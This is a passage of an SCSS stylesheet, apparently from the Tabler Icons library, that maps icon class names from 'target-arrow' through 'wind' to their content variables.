$ti-icon-target-arrow;\n}\n\n.#{$ti-prefix}-target-off:before {\n  content: $ti-icon-target-off;\n}\n\n.#{$ti-prefix}-teapot:before {\n  content: $ti-icon-teapot;\n}\n\n.#{$ti-prefix}-telescope:before {\n  content: $ti-icon-telescope;\n}\n\n.#{$ti-prefix}-telescope-off:before {\n  content: $ti-icon-telescope-off;\n}\n\n.#{$ti-prefix}-temperature:before {\n  content: $ti-icon-temperature;\n}\n\n.#{$ti-prefix}-temperature-celsius:before {\n  content: $ti-icon-temperature-celsius;\n}\n\n.#{$ti-prefix}-temperature-fahrenheit:before {\n  content: $ti-icon-temperature-fahrenheit;\n}\n\n.#{$ti-prefix}-temperature-minus:before {\n  content: $ti-icon-temperature-minus;\n}\n\n.#{$ti-prefix}-temperature-off:before {\n  content: $ti-icon-temperature-off;\n}\n\n.#{$ti-prefix}-temperature-plus:before {\n  content: $ti-icon-temperature-plus;\n}\n\n.#{$ti-prefix}-temperature-snow:before {\n  content: $ti-icon-temperature-snow;\n}\n\n.#{$ti-prefix}-temperature-sun:before {\n  content: $ti-icon-temperature-sun;\n}\n\n.#{$ti-prefix}-template:before {\n  content: $ti-icon-template;\n}\n\n.#{$ti-prefix}-template-off:before {\n  content: $ti-icon-template-off;\n}\n\n.#{$ti-prefix}-tent:before {\n  content: $ti-icon-tent;\n}\n\n.#{$ti-prefix}-tent-off:before {\n  content: $ti-icon-tent-off;\n}\n\n.#{$ti-prefix}-terminal:before {\n  content: $ti-icon-terminal;\n}\n\n.#{$ti-prefix}-terminal-2:before {\n  content: $ti-icon-terminal-2;\n}\n\n.#{$ti-prefix}-test-pipe:before {\n  content: $ti-icon-test-pipe;\n}\n\n.#{$ti-prefix}-test-pipe-2:before {\n  content: $ti-icon-test-pipe-2;\n}\n\n.#{$ti-prefix}-test-pipe-off:before {\n  content: $ti-icon-test-pipe-off;\n}\n\n.#{$ti-prefix}-tex:before {\n  content: $ti-icon-tex;\n}\n\n.#{$ti-prefix}-text-caption:before {\n  content: $ti-icon-text-caption;\n}\n\n.#{$ti-prefix}-text-color:before {\n  content: $ti-icon-text-color;\n}\n\n.#{$ti-prefix}-text-decrease:before {\n  content: $ti-icon-text-decrease;\n}\n\n.#{$ti-prefix}-text-direction-ltr:before {\n  content: $ti-icon-text-direction-ltr;\n}\n\n.#{$ti-prefix}-text-direction-rtl:before {\n  content: $ti-icon-text-direction-rtl;\n}\n\n.#{$ti-prefix}-text-grammar:before {\n  content: $ti-icon-text-grammar;\n}\n\n.#{$ti-prefix}-text-increase:before {\n  content: $ti-icon-text-increase;\n}\n\n.#{$ti-prefix}-text-orientation:before {\n  content: $ti-icon-text-orientation;\n}\n\n.#{$ti-prefix}-text-plus:before {\n  content: $ti-icon-text-plus;\n}\n\n.#{$ti-prefix}-text-recognition:before {\n  content: $ti-icon-text-recognition;\n}\n\n.#{$ti-prefix}-text-resize:before {\n  content: $ti-icon-text-resize;\n}\n\n.#{$ti-prefix}-text-scan-2:before {\n  content: $ti-icon-text-scan-2;\n}\n\n.#{$ti-prefix}-text-size:before {\n  content: $ti-icon-text-size;\n}\n\n.#{$ti-prefix}-text-spellcheck:before {\n  content: $ti-icon-text-spellcheck;\n}\n\n.#{$ti-prefix}-text-wrap:before {\n  content: $ti-icon-text-wrap;\n}\n\n.#{$ti-prefix}-text-wrap-disabled:before {\n  content: $ti-icon-text-wrap-disabled;\n}\n\n.#{$ti-prefix}-texture:before {\n  content: $ti-icon-texture;\n}\n\n.#{$ti-prefix}-theater:before {\n  content: $ti-icon-theater;\n}\n\n.#{$ti-prefix}-thermometer:before {\n  content: $ti-icon-thermometer;\n}\n\n.#{$ti-prefix}-thumb-down:before {\n  content: $ti-icon-thumb-down;\n}\n\n.#{$ti-prefix}-thumb-down-filled:before {\n  content: $ti-icon-thumb-down-filled;\n}\n\n.#{$ti-prefix}-thumb-down-off:before {\n  content: $ti-icon-thumb-down-off;\n}\n\n.#{$ti-prefix}-thumb-up:before {\n  content: $ti-icon-thumb-up;\n}\n\n.#{$ti-prefix}-thumb-up-filled:before {\n  content: $ti-icon-thumb-up-filled;\n}\n\n.#{$ti-prefix}-thumb-up-off:before {\n  content: $ti-icon-thumb-up-off;\n}\n\n.#{$ti-prefix}-tic-tac:before {\n  content: $ti-icon-tic-tac;\n}\n\n.#{$ti-prefix}-ticket:before {\n  content: $ti-icon-ticket;\n}\n\n.#{$ti-prefix}-ticket-off:before {\n  content: $ti-icon-ticket-off;\n}\n\n.#{$ti-prefix}-tie:before {\n  content: $ti-icon-tie;\n}\n\n.#{$ti-prefix}-tilde:before {\n  content: $ti-icon-tilde;\n}\n\n.#{$ti-prefix}-tilt-shift:before {\n  content: $ti-icon-tilt-shift;\n}\n\n.#{$ti-prefix}-tilt-shift-off:before {\n  content: $ti-icon-tilt-shift-off;\n}\n\n.#{$ti-prefix}-time-duration-0:before {\n  content: $ti-icon-time-duration-0;\n}\n\n.#{$ti-prefix}-time-duration-10:before {\n  content: $ti-icon-time-duration-10;\n}\n\n.#{$ti-prefix}-time-duration-15:before {\n  content: $ti-icon-time-duration-15;\n}\n\n.#{$ti-prefix}-time-duration-30:before {\n  content: $ti-icon-time-duration-30;\n}\n\n.#{$ti-prefix}-time-duration-45:before {\n  content: $ti-icon-time-duration-45;\n}\n\n.#{$ti-prefix}-time-duration-5:before {\n  content: $ti-icon-time-duration-5;\n}\n\n.#{$ti-prefix}-time-duration-60:before {\n  content: $ti-icon-time-duration-60;\n}\n\n.#{$ti-prefix}-time-duration-90:before {\n  content: $ti-icon-time-duration-90;\n}\n\n.#{$ti-prefix}-time-duration-off:before {\n  content: $ti-icon-time-duration-off;\n}\n\n.#{$ti-prefix}-timeline:before {\n  content: $ti-icon-timeline;\n}\n\n.#{$ti-prefix}-timeline-event:before {\n  content: $ti-icon-timeline-event;\n}\n\n.#{$ti-prefix}-timeline-event-exclamation:before {\n  content: $ti-icon-timeline-event-exclamation;\n}\n\n.#{$ti-prefix}-timeline-event-filled:before {\n  content: $ti-icon-timeline-event-filled;\n}\n\n.#{$ti-prefix}-timeline-event-minus:before {\n  content: $ti-icon-timeline-event-minus;\n}\n\n.#{$ti-prefix}-timeline-event-plus:before {\n  content: $ti-icon-timeline-event-plus;\n}\n\n.#{$ti-prefix}-timeline-event-text:before {\n  content: $ti-icon-timeline-event-text;\n}\n\n.#{$ti-prefix}-timeline-event-x:before {\n  content: $ti-icon-timeline-event-x;\n}\n\n.#{$ti-prefix}-tir:before {\n  content: $ti-icon-tir;\n}\n\n.#{$ti-prefix}-toggle-left:before {\n  content: $ti-icon-toggle-left;\n}\n\n.#{$ti-prefix}-toggle-right:before {\n  content: $ti-icon-toggle-right;\n}\n\n.#{$ti-prefix}-toilet-paper:before {\n  content: $ti-icon-toilet-paper;\n}\n\n.#{$ti-prefix}-toilet-paper-off:before {\n  content: $ti-icon-toilet-paper-off;\n}\n\n.#{$ti-prefix}-toml:before {\n  content: $ti-icon-toml;\n}\n\n.#{$ti-prefix}-tool:before {\n  content: $ti-icon-tool;\n}\n\n.#{$ti-prefix}-tools:before {\n  content: $ti-icon-tools;\n}\n\n.#{$ti-prefix}-tools-kitchen:before {\n  content: $ti-icon-tools-kitchen;\n}\n\n.#{$ti-prefix}-tools-kitchen-2:before {\n  content: $ti-icon-tools-kitchen-2;\n}\n\n.#{$ti-prefix}-tools-kitchen-2-off:before {\n  content: $ti-icon-tools-kitchen-2-off;\n}\n\n.#{$ti-prefix}-tools-kitchen-3:before {\n  content: $ti-icon-tools-kitchen-3;\n}\n\n.#{$ti-prefix}-tools-kitchen-off:before {\n  content: $ti-icon-tools-kitchen-off;\n}\n\n.#{$ti-prefix}-tools-off:before {\n  content: $ti-icon-tools-off;\n}\n\n.#{$ti-prefix}-tooltip:before {\n  content: $ti-icon-tooltip;\n}\n\n.#{$ti-prefix}-topology-bus:before {\n  content: $ti-icon-topology-bus;\n}\n\n.#{$ti-prefix}-topology-complex:before {\n  content: $ti-icon-topology-complex;\n}\n\n.#{$ti-prefix}-topology-full:before {\n  content: $ti-icon-topology-full;\n}\n\n.#{$ti-prefix}-topology-full-hierarchy:before {\n  content: $ti-icon-topology-full-hierarchy;\n}\n\n.#{$ti-prefix}-topology-ring:before {\n  content: $ti-icon-topology-ring;\n}\n\n.#{$ti-prefix}-topology-ring-2:before {\n  content: $ti-icon-topology-ring-2;\n}\n\n.#{$ti-prefix}-topology-ring-3:before {\n  content: $ti-icon-topology-ring-3;\n}\n\n.#{$ti-prefix}-topology-star:before {\n  content: $ti-icon-topology-star;\n}\n\n.#{$ti-prefix}-topology-star-2:before {\n  content: $ti-icon-topology-star-2;\n}\n\n.#{$ti-prefix}-topology-star-3:before {\n  content: $ti-icon-topology-star-3;\n}\n\n.#{$ti-prefix}-topology-star-ring:before {\n  content: $ti-icon-topology-star-ring;\n}\n\n.#{$ti-prefix}-topology-star-ring-2:before {\n  content: $ti-icon-topology-star-ring-2;\n}\n\n.#{$ti-prefix}-topology-star-ring-3:before {\n  content: $ti-icon-topology-star-ring-3;\n}\n\n.#{$ti-prefix}-torii:before {\n  content: $ti-icon-torii;\n}\n\n.#{$ti-prefix}-tornado:before {\n  content: $ti-icon-tornado;\n}\n\n.#{$ti-prefix}-tournament:before {\n  content: $ti-icon-tournament;\n}\n\n.#{$ti-prefix}-tower:before {\n  content: $ti-icon-tower;\n}\n\n.#{$ti-prefix}-tower-off:before {\n  content: $ti-icon-tower-off;\n}\n\n.#{$ti-prefix}-track:before {\n  content: $ti-icon-track;\n}\n\n.#{$ti-prefix}-tractor:before {\n  content: $ti-icon-tractor;\n}\n\n.#{$ti-prefix}-trademark:before {\n  content: $ti-icon-trademark;\n}\n\n.#{$ti-prefix}-traffic-cone:before {\n  content: $ti-icon-traffic-cone;\n}\n\n.#{$ti-prefix}-traffic-cone-off:before {\n  content: $ti-icon-traffic-cone-off;\n}\n\n.#{$ti-prefix}-traffic-lights:before {\n  content: $ti-icon-traffic-lights;\n}\n\n.#{$ti-prefix}-traffic-lights-off:before {\n  content: $ti-icon-traffic-lights-off;\n}\n\n.#{$ti-prefix}-train:before {\n  content: $ti-icon-train;\n}\n\n.#{$ti-prefix}-transaction-bitcoin:before {\n  content: $ti-icon-transaction-bitcoin;\n}\n\n.#{$ti-prefix}-transaction-dollar:before {\n  content: $ti-icon-transaction-dollar;\n}\n\n.#{$ti-prefix}-transaction-euro:before {\n  content: $ti-icon-transaction-euro;\n}\n\n.#{$ti-prefix}-transaction-pound:before {\n  content: $ti-icon-transaction-pound;\n}\n\n.#{$ti-prefix}-transaction-rupee:before {\n  content: $ti-icon-transaction-rupee;\n}\n\n.#{$ti-prefix}-transaction-yen:before {\n  content: $ti-icon-transaction-yen;\n}\n\n.#{$ti-prefix}-transaction-yuan:before {\n  content: $ti-icon-transaction-yuan;\n}\n\n.#{$ti-prefix}-transfer:before {\n  content: $ti-icon-transfer;\n}\n\n.#{$ti-prefix}-transfer-in:before {\n  content: $ti-icon-transfer-in;\n}\n\n.#{$ti-prefix}-transfer-out:before {\n  content: $ti-icon-transfer-out;\n}\n\n.#{$ti-prefix}-transfer-vertical:before {\n  content: $ti-icon-transfer-vertical;\n}\n\n.#{$ti-prefix}-transform:before {\n  content: $ti-icon-transform;\n}\n\n.#{$ti-prefix}-transform-filled:before {\n  content: $ti-icon-transform-filled;\n}\n\n.#{$ti-prefix}-transform-point:before {\n  content: $ti-icon-transform-point;\n}\n\n.#{$ti-prefix}-transform-point-bottom-left:before {\n  content: $ti-icon-transform-point-bottom-left;\n}\n\n.#{$ti-prefix}-transform-point-bottom-right:before {\n  content: $ti-icon-transform-point-bottom-right;\n}\n\n.#{$ti-prefix}-transform-point-top-left:before {\n  content: $ti-icon-transform-point-top-left;\n}\n\n.#{$ti-prefix}-transform-point-top-right:before {\n  content: $ti-icon-transform-point-top-right;\n}\n\n.#{$ti-prefix}-transition-bottom:before {\n  content: $ti-icon-transition-bottom;\n}\n\n.#{$ti-prefix}-transition-bottom-filled:before {\n  content: $ti-icon-transition-bottom-filled;\n}\n\n.#{$ti-prefix}-transition-left:before {\n  content: $ti-icon-transition-left;\n}\n\n.#{$ti-prefix}-transition-left-filled:before {\n  content: $ti-icon-transition-left-filled;\n}\n\n.#{$ti-prefix}-transition-right:before {\n  content: $ti-icon-transition-right;\n}\n\n.#{$ti-prefix}-transition-right-filled:before {\n  content: $ti-icon-transition-right-filled;\n}\n\n.#{$ti-prefix}-transition-top:before {\n  content: $ti-icon-transition-top;\n}\n\n.#{$ti-prefix}-transition-top-filled:before {\n  content: $ti-icon-transition-top-filled;\n}\n\n.#{$ti-prefix}-trash:before {\n  content: $ti-icon-trash;\n}\n\n.#{$ti-prefix}-trash-filled:before {\n  content: $ti-icon-trash-filled;\n}\n\n.#{$ti-prefix}-trash-off:before {\n  content: $ti-icon-trash-off;\n}\n\n.#{$ti-prefix}-trash-x:before {\n  content: $ti-icon-trash-x;\n}\n\n.#{$ti-prefix}-trash-x-filled:before {\n  content: $ti-icon-trash-x-filled;\n}\n\n.#{$ti-prefix}-treadmill:before {\n  content: $ti-icon-treadmill;\n}\n\n.#{$ti-prefix}-tree:before {\n  content: $ti-icon-tree;\n}\n\n.#{$ti-prefix}-trees:before {\n  content: $ti-icon-trees;\n}\n\n.#{$ti-prefix}-trekking:before {\n  content: $ti-icon-trekking;\n}\n\n.#{$ti-prefix}-trending-down:before {\n  content: $ti-icon-trending-down;\n}\n\n.#{$ti-prefix}-trending-down-2:before {\n  content: $ti-icon-trending-down-2;\n}\n\n.#{$ti-prefix}-trending-down-3:before {\n  content: $ti-icon-trending-down-3;\n}\n\n.#{$ti-prefix}-trending-up:before {\n  content: $ti-icon-trending-up;\n}\n\n.#{$ti-prefix}-trending-up-2:before {\n  content: $ti-icon-trending-up-2;\n}\n\n.#{$ti-prefix}-trending-up-3:before {\n  content: $ti-icon-trending-up-3;\n}\n\n.#{$ti-prefix}-triangle:before {\n  content: $ti-icon-triangle;\n}\n\n.#{$ti-prefix}-triangle-filled:before {\n  content: $ti-icon-triangle-filled;\n}\n\n.#{$ti-prefix}-triangle-inverted:before {\n  content: $ti-icon-triangle-inverted;\n}\n\n.#{$ti-prefix}-triangle-inverted-filled:before {\n  content: $ti-icon-triangle-inverted-filled;\n}\n\n.#{$ti-prefix}-triangle-minus:before {\n  content: $ti-icon-triangle-minus;\n}\n\n.#{$ti-prefix}-triangle-minus-2:before {\n  content: $ti-icon-triangle-minus-2;\n}\n\n.#{$ti-prefix}-triangle-off:before {\n  content: $ti-icon-triangle-off;\n}\n\n.#{$ti-prefix}-triangle-plus:before {\n  content: $ti-icon-triangle-plus;\n}\n\n.#{$ti-prefix}-triangle-plus-2:before {\n  content: $ti-icon-triangle-plus-2;\n}\n\n.#{$ti-prefix}-triangle-square-circle:before {\n  content: $ti-icon-triangle-square-circle;\n}\n\n.#{$ti-prefix}-triangle-square-circle-filled:before {\n  content: $ti-icon-triangle-square-circle-filled;\n}\n\n.#{$ti-prefix}-triangles:before {\n  content: $ti-icon-triangles;\n}\n\n.#{$ti-prefix}-trident:before {\n  content: $ti-icon-trident;\n}\n\n.#{$ti-prefix}-trolley:before {\n  content: $ti-icon-trolley;\n}\n\n.#{$ti-prefix}-trophy:before {\n  content: $ti-icon-trophy;\n}\n\n.#{$ti-prefix}-trophy-filled:before {\n  content: $ti-icon-trophy-filled;\n}\n\n.#{$ti-prefix}-trophy-off:before {\n  content: $ti-icon-trophy-off;\n}\n\n.#{$ti-prefix}-trowel:before {\n  content: $ti-icon-trowel;\n}\n\n.#{$ti-prefix}-truck:before {\n  content: $ti-icon-truck;\n}\n\n.#{$ti-prefix}-truck-delivery:before {\n  content: $ti-icon-truck-delivery;\n}\n\n.#{$ti-prefix}-truck-loading:before {\n  content: $ti-icon-truck-loading;\n}\n\n.#{$ti-prefix}-truck-off:before {\n  content: $ti-icon-truck-off;\n}\n\n.#{$ti-prefix}-truck-return:before {\n  content: $ti-icon-truck-return;\n}\n\n.#{$ti-prefix}-txt:before {\n  content: $ti-icon-txt;\n}\n\n.#{$ti-prefix}-typeface:before {\n  content: $ti-icon-typeface;\n}\n\n.#{$ti-prefix}-typography:before {\n  content: $ti-icon-typography;\n}\n\n.#{$ti-prefix}-typography-off:before {\n  content: $ti-icon-typography-off;\n}\n\n.#{$ti-prefix}-ufo:before {\n  content: $ti-icon-ufo;\n}\n\n.#{$ti-prefix}-ufo-off:before {\n  content: $ti-icon-ufo-off;\n}\n\n.#{$ti-prefix}-umbrella:before {\n  content: $ti-icon-umbrella;\n}\n\n.#{$ti-prefix}-umbrella-filled:before {\n  content: $ti-icon-umbrella-filled;\n}\n\n.#{$ti-prefix}-umbrella-off:before {\n  content: $ti-icon-umbrella-off;\n}\n\n.#{$ti-prefix}-underline:before {\n  content: $ti-icon-underline;\n}\n\n.#{$ti-prefix}-universe:before {\n  content: $ti-icon-universe;\n}\n\n.#{$ti-prefix}-unlink:before {\n  content: $ti-icon-unlink;\n}\n\n.#{$ti-prefix}-upload:before {\n  content: $ti-icon-upload;\n}\n\n.#{$ti-prefix}-urgent:before {\n  content: $ti-icon-urgent;\n}\n\n.#{$ti-prefix}-usb:before {\n  content: $ti-icon-usb;\n}\n\n.#{$ti-prefix}-user:before {\n  content: $ti-icon-user;\n}\n\n.#{$ti-prefix}-user-bolt:before {\n  content: $ti-icon-user-bolt;\n}\n\n.#{$ti-prefix}-user-cancel:before {\n  content: $ti-icon-user-cancel;\n}\n\n.#{$ti-prefix}-user-check:before {\n  content: $ti-icon-user-check;\n}\n\n.#{$ti-prefix}-user-circle:before {\n  content: $ti-icon-user-circle;\n}\n\n.#{$ti-prefix}-user-code:before {\n  content: $ti-icon-user-code;\n}\n\n.#{$ti-prefix}-user-cog:before {\n  content: $ti-icon-user-cog;\n}\n\n.#{$ti-prefix}-user-dollar:before {\n  content: $ti-icon-user-dollar;\n}\n\n.#{$ti-prefix}-user-down:before {\n  content: $ti-icon-user-down;\n}\n\n.#{$ti-prefix}-user-edit:before {\n  content: $ti-icon-user-edit;\n}\n\n.#{$ti-prefix}-user-exclamation:before {\n  content: $ti-icon-user-exclamation;\n}\n\n.#{$ti-prefix}-user-filled:before {\n  content: $ti-icon-user-filled;\n}\n\n.#{$ti-prefix}-user-heart:before {\n  content: $ti-icon-user-heart;\n}\n\n.#{$ti-prefix}-user-hexagon:before {\n  content: $ti-icon-user-hexagon;\n}\n\n.#{$ti-prefix}-user-minus:before {\n  content: $ti-icon-user-minus;\n}\n\n.#{$ti-prefix}-user-off:before {\n  content: $ti-icon-user-off;\n}\n\n.#{$ti-prefix}-user-pause:before {\n  content: $ti-icon-user-pause;\n}\n\n.#{$ti-prefix}-user-pentagon:before {\n  content: $ti-icon-user-pentagon;\n}\n\n.#{$ti-prefix}-user-pin:before {\n  content: $ti-icon-user-pin;\n}\n\n.#{$ti-prefix}-user-plus:before {\n  content: $ti-icon-user-plus;\n}\n\n.#{$ti-prefix}-user-question:before {\n  content: $ti-icon-user-question;\n}\n\n.#{$ti-prefix}-user-scan:before {\n  content: $ti-icon-user-scan;\n}\n\n.#{$ti-prefix}-user-search:before {\n  content: $ti-icon-user-search;\n}\n\n.#{$ti-prefix}-user-share:before {\n  content: $ti-icon-user-share;\n}\n\n.#{$ti-prefix}-user-shield:before {\n  content: $ti-icon-user-shield;\n}\n\n.#{$ti-prefix}-user-square:before {\n  content: $ti-icon-user-square;\n}\n\n.#{$ti-prefix}-user-square-rounded:before {\n  content: $ti-icon-user-square-rounded;\n}\n\n.#{$ti-prefix}-user-star:before {\n  content: $ti-icon-user-star;\n}\n\n.#{$ti-prefix}-user-up:before {\n  content: $ti-icon-user-up;\n}\n\n.#{$ti-prefix}-user-x:before {\n  content: $ti-icon-user-x;\n}\n\n.#{$ti-prefix}-users:before {\n  content: $ti-icon-users;\n}\n\n.#{$ti-prefix}-users-group:before {\n  content: $ti-icon-users-group;\n}\n\n.#{$ti-prefix}-users-minus:before {\n  content: $ti-icon-users-minus;\n}\n\n.#{$ti-prefix}-users-plus:before {\n  content: $ti-icon-users-plus;\n}\n\n.#{$ti-prefix}-uv-index:before {\n  content: $ti-icon-uv-index;\n}\n\n.#{$ti-prefix}-ux-circle:before {\n  content: $ti-icon-ux-circle;\n}\n\n.#{$ti-prefix}-vaccine:before {\n  content: $ti-icon-vaccine;\n}\n\n.#{$ti-prefix}-vaccine-bottle:before {\n  content: $ti-icon-vaccine-bottle;\n}\n\n.#{$ti-prefix}-vaccine-bottle-off:before {\n  content: $ti-icon-vaccine-bottle-off;\n}\n\n.#{$ti-prefix}-vaccine-off:before {\n  content: $ti-icon-vaccine-off;\n}\n\n.#{$ti-prefix}-vacuum-cleaner:before {\n  content: $ti-icon-vacuum-cleaner;\n}\n\n.#{$ti-prefix}-variable:before {\n  content: $ti-icon-variable;\n}\n\n.#{$ti-prefix}-variable-minus:before {\n  content: $ti-icon-variable-minus;\n}\n\n.#{$ti-prefix}-variable-off:before {\n  content: $ti-icon-variable-off;\n}\n\n.#{$ti-prefix}-variable-plus:before {\n  content: $ti-icon-variable-plus;\n}\n\n.#{$ti-prefix}-vector:before {\n  content: $ti-icon-vector;\n}\n\n.#{$ti-prefix}-vector-bezier:before {\n  content: $ti-icon-vector-bezier;\n}\n\n.#{$ti-prefix}-vector-bezier-2:before {\n  content: $ti-icon-vector-bezier-2;\n}\n\n.#{$ti-prefix}-vector-bezier-arc:before {\n  content: $ti-icon-vector-bezier-arc;\n}\n\n.#{$ti-prefix}-vector-bezier-circle:before {\n  content: $ti-icon-vector-bezier-circle;\n}\n\n.#{$ti-prefix}-vector-off:before {\n  content: $ti-icon-vector-off;\n}\n\n.#{$ti-prefix}-vector-spline:before {\n  content: $ti-icon-vector-spline;\n}\n\n.#{$ti-prefix}-vector-triangle:before {\n  content: $ti-icon-vector-triangle;\n}\n\n.#{$ti-prefix}-vector-triangle-off:before {\n  content: $ti-icon-vector-triangle-off;\n}\n\n.#{$ti-prefix}-venus:before {\n  content: $ti-icon-venus;\n}\n\n.#{$ti-prefix}-versions:before {\n  content: $ti-icon-versions;\n}\n\n.#{$ti-prefix}-versions-filled:before {\n  content: $ti-icon-versions-filled;\n}\n\n.#{$ti-prefix}-versions-off:before {\n  content: $ti-icon-versions-off;\n}\n\n.#{$ti-prefix}-video:before {\n  content: $ti-icon-video;\n}\n\n.#{$ti-prefix}-video-minus:before {\n  content: $ti-icon-video-minus;\n}\n\n.#{$ti-prefix}-video-off:before {\n  content: $ti-icon-video-off;\n}\n\n.#{$ti-prefix}-video-plus:before {\n  content: $ti-icon-video-plus;\n}\n\n.#{$ti-prefix}-view-360:before {\n  content: $ti-icon-view-360;\n}\n\n.#{$ti-prefix}-view-360-arrow:before {\n  content: $ti-icon-view-360-arrow;\n}\n\n.#{$ti-prefix}-view-360-number:before {\n  content: $ti-icon-view-360-number;\n}\n\n.#{$ti-prefix}-view-360-off:before {\n  content: $ti-icon-view-360-off;\n}\n\n.#{$ti-prefix}-viewfinder:before {\n  content: $ti-icon-viewfinder;\n}\n\n.#{$ti-prefix}-viewfinder-off:before {\n  content: $ti-icon-viewfinder-off;\n}\n\n.#{$ti-prefix}-viewport-narrow:before {\n  content: $ti-icon-viewport-narrow;\n}\n\n.#{$ti-prefix}-viewport-wide:before {\n  content: $ti-icon-viewport-wide;\n}\n\n.#{$ti-prefix}-vinyl:before {\n  content: $ti-icon-vinyl;\n}\n\n.#{$ti-prefix}-vip:before {\n  content: $ti-icon-vip;\n}\n\n.#{$ti-prefix}-vip-off:before {\n  content: $ti-icon-vip-off;\n}\n\n.#{$ti-prefix}-virus:before {\n  content: $ti-icon-virus;\n}\n\n.#{$ti-prefix}-virus-off:before {\n  content: $ti-icon-virus-off;\n}\n\n.#{$ti-prefix}-virus-search:before {\n  content: $ti-icon-virus-search;\n}\n\n.#{$ti-prefix}-vocabulary:before {\n  content: $ti-icon-vocabulary;\n}\n\n.#{$ti-prefix}-vocabulary-off:before {\n  content: $ti-icon-vocabulary-off;\n}\n\n.#{$ti-prefix}-volcano:before {\n  content: $ti-icon-volcano;\n}\n\n.#{$ti-prefix}-volume:before {\n  content: $ti-icon-volume;\n}\n\n.#{$ti-prefix}-volume-2:before {\n  content: $ti-icon-volume-2;\n}\n\n.#{$ti-prefix}-volume-3:before {\n  content: $ti-icon-volume-3;\n}\n\n.#{$ti-prefix}-volume-off:before {\n  content: $ti-icon-volume-off;\n}\n\n.#{$ti-prefix}-vs:before {\n  content: $ti-icon-vs;\n}\n\n.#{$ti-prefix}-walk:before {\n  content: $ti-icon-walk;\n}\n\n.#{$ti-prefix}-wall:before {\n  content: $ti-icon-wall;\n}\n\n.#{$ti-prefix}-wall-off:before {\n  content: $ti-icon-wall-off;\n}\n\n.#{$ti-prefix}-wallet:before {\n  content: $ti-icon-wallet;\n}\n\n.#{$ti-prefix}-wallet-off:before {\n  content: $ti-icon-wallet-off;\n}\n\n.#{$ti-prefix}-wallpaper:before {\n  content: $ti-icon-wallpaper;\n}\n\n.#{$ti-prefix}-wallpaper-off:before {\n  content: $ti-icon-wallpaper-off;\n}\n\n.#{$ti-prefix}-wand:before {\n  content: $ti-icon-wand;\n}\n\n.#{$ti-prefix}-wand-off:before {\n  content: $ti-icon-wand-off;\n}\n\n.#{$ti-prefix}-wash:before {\n  content: $ti-icon-wash;\n}\n\n.#{$ti-prefix}-wash-dry:before {\n  content: $ti-icon-wash-dry;\n}\n\n.#{$ti-prefix}-wash-dry-1:before {\n  content: $ti-icon-wash-dry-1;\n}\n\n.#{$ti-prefix}-wash-dry-2:before {\n  content: $ti-icon-wash-dry-2;\n}\n\n.#{$ti-prefix}-wash-dry-3:before {\n  content: $ti-icon-wash-dry-3;\n}\n\n.#{$ti-prefix}-wash-dry-a:before {\n  content: $ti-icon-wash-dry-a;\n}\n\n.#{$ti-prefix}-wash-dry-dip:before {\n  content: $ti-icon-wash-dry-dip;\n}\n\n.#{$ti-prefix}-wash-dry-f:before {\n  content: $ti-icon-wash-dry-f;\n}\n\n.#{$ti-prefix}-wash-dry-flat:before {\n  content: $ti-icon-wash-dry-flat;\n}\n\n.#{$ti-prefix}-wash-dry-hang:before {\n  content: $ti-icon-wash-dry-hang;\n}\n\n.#{$ti-prefix}-wash-dry-off:before {\n  content: $ti-icon-wash-dry-off;\n}\n\n.#{$ti-prefix}-wash-dry-p:before {\n  content: $ti-icon-wash-dry-p;\n}\n\n.#{$ti-prefix}-wash-dry-shade:before {\n  content: $ti-icon-wash-dry-shade;\n}\n\n.#{$ti-prefix}-wash-dry-w:before {\n  content: $ti-icon-wash-dry-w;\n}\n\n.#{$ti-prefix}-wash-dryclean:before {\n  content: $ti-icon-wash-dryclean;\n}\n\n.#{$ti-prefix}-wash-dryclean-off:before {\n  content: $ti-icon-wash-dryclean-off;\n}\n\n.#{$ti-prefix}-wash-eco:before {\n  content: $ti-icon-wash-eco;\n}\n\n.#{$ti-prefix}-wash-gentle:before {\n  content: $ti-icon-wash-gentle;\n}\n\n.#{$ti-prefix}-wash-hand:before {\n  content: $ti-icon-wash-hand;\n}\n\n.#{$ti-prefix}-wash-machine:before {\n  content: $ti-icon-wash-machine;\n}\n\n.#{$ti-prefix}-wash-off:before {\n  content: $ti-icon-wash-off;\n}\n\n.#{$ti-prefix}-wash-press:before {\n  content: $ti-icon-wash-press;\n}\n\n.#{$ti-prefix}-wash-temperature-1:before {\n  content: $ti-icon-wash-temperature-1;\n}\n\n.#{$ti-prefix}-wash-temperature-2:before {\n  content: $ti-icon-wash-temperature-2;\n}\n\n.#{$ti-prefix}-wash-temperature-3:before {\n  content: $ti-icon-wash-temperature-3;\n}\n\n.#{$ti-prefix}-wash-temperature-4:before {\n  content: $ti-icon-wash-temperature-4;\n}\n\n.#{$ti-prefix}-wash-temperature-5:before {\n  content: $ti-icon-wash-temperature-5;\n}\n\n.#{$ti-prefix}-wash-temperature-6:before {\n  content: $ti-icon-wash-temperature-6;\n}\n\n.#{$ti-prefix}-wash-tumble-dry:before {\n  content: $ti-icon-wash-tumble-dry;\n}\n\n.#{$ti-prefix}-wash-tumble-off:before {\n  content: $ti-icon-wash-tumble-off;\n}\n\n.#{$ti-prefix}-waterpolo:before {\n  content: $ti-icon-waterpolo;\n}\n\n.#{$ti-prefix}-wave-saw-tool:before {\n  content: $ti-icon-wave-saw-tool;\n}\n\n.#{$ti-prefix}-wave-sine:before {\n  content: $ti-icon-wave-sine;\n}\n\n.#{$ti-prefix}-wave-square:before {\n  content: $ti-icon-wave-square;\n}\n\n.#{$ti-prefix}-waves-electricity:before {\n  content: $ti-icon-waves-electricity;\n}\n\n.#{$ti-prefix}-webhook:before {\n  content: $ti-icon-webhook;\n}\n\n.#{$ti-prefix}-webhook-off:before {\n  content: $ti-icon-webhook-off;\n}\n\n.#{$ti-prefix}-weight:before {\n  content: $ti-icon-weight;\n}\n\n.#{$ti-prefix}-wheel:before {\n  content: $ti-icon-wheel;\n}\n\n.#{$ti-prefix}-wheelchair:before {\n  content: $ti-icon-wheelchair;\n}\n\n.#{$ti-prefix}-wheelchair-off:before {\n  content: $ti-icon-wheelchair-off;\n}\n\n.#{$ti-prefix}-whirl:before {\n  content: $ti-icon-whirl;\n}\n\n.#{$ti-prefix}-wifi:before {\n  content: $ti-icon-wifi;\n}\n\n.#{$ti-prefix}-wifi-0:before {\n  content: $ti-icon-wifi-0;\n}\n\n.#{$ti-prefix}-wifi-1:before {\n  content: $ti-icon-wifi-1;\n}\n\n.#{$ti-prefix}-wifi-2:before {\n  content: $ti-icon-wifi-2;\n}\n\n.#{$ti-prefix}-wifi-off:before {\n  content: $ti-icon-wifi-off;\n}\n\n.#{$ti-prefix}-wind:before {\n  content: 